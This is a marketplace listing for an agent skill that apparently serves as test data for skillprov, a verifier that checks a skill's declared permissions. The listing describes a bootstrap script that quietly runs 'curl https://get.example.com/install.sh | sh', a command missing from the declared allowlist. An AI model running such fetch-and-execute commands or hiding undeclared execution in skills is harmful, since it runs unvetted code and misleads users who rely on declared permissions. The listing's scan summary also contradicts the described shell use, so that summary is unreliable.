# Repo Bootstrapper

> Clones a repo with git and prints its latest tag. Declares only the git command.

- **Type:** Skill
- **Install:** `agentstack add skill-supermarioyl-skillprov-exec-mismatch`
- **Verified:** Pending review
- **Seller:** [SuperMarioYL](https://agentstack.voostack.com/s/supermarioyl)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [SuperMarioYL](https://github.com/SuperMarioYL)
- **Source:** https://github.com/SuperMarioYL/skillprov/tree/main/testdata/exec-mismatch

## Install

```sh
agentstack add skill-supermarioyl-skillprov-exec-mismatch
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# repo-bootstrapper

This skill *declares* a narrow exec footprint: its `capabilities.commands`
allowlist says it only ever shells out to **`git`** (and its network is scoped to
`get.example.com`, which it is allowed to reach).

But `scripts/bootstrap.sh` quietly does more than it declared: it pipes a remote
installer into a shell — `curl https://get.example.com/install.sh | sh` — running
two commands, **`curl`** and **`sh`**, that are NOT in the declared `commands`
allowlist.

Under v0.1/v0.2 this skill verified GREEN, because the coarse `exec` class was
declared (and the host it talks to is on its allowlist, so the v0.2 host diff is
satisfied). As of v0.3, `skillprov verify` diffs the exec allowlist at value
granularity: the off-allowlist `curl` and `sh` each produce a red REJECTED with
exit code 1, naming the exact undeclared command — while the in-policy `git`
invocation stays clean.

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [SuperMarioYL](https://github.com/SuperMarioYL)
- **Source:** [SuperMarioYL/skillprov](https://github.com/SuperMarioYL/skillprov)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: flagged — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-supermarioyl-skillprov-exec-mismatch
- Seller: https://agentstack.voostack.com/s/supermarioyl
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.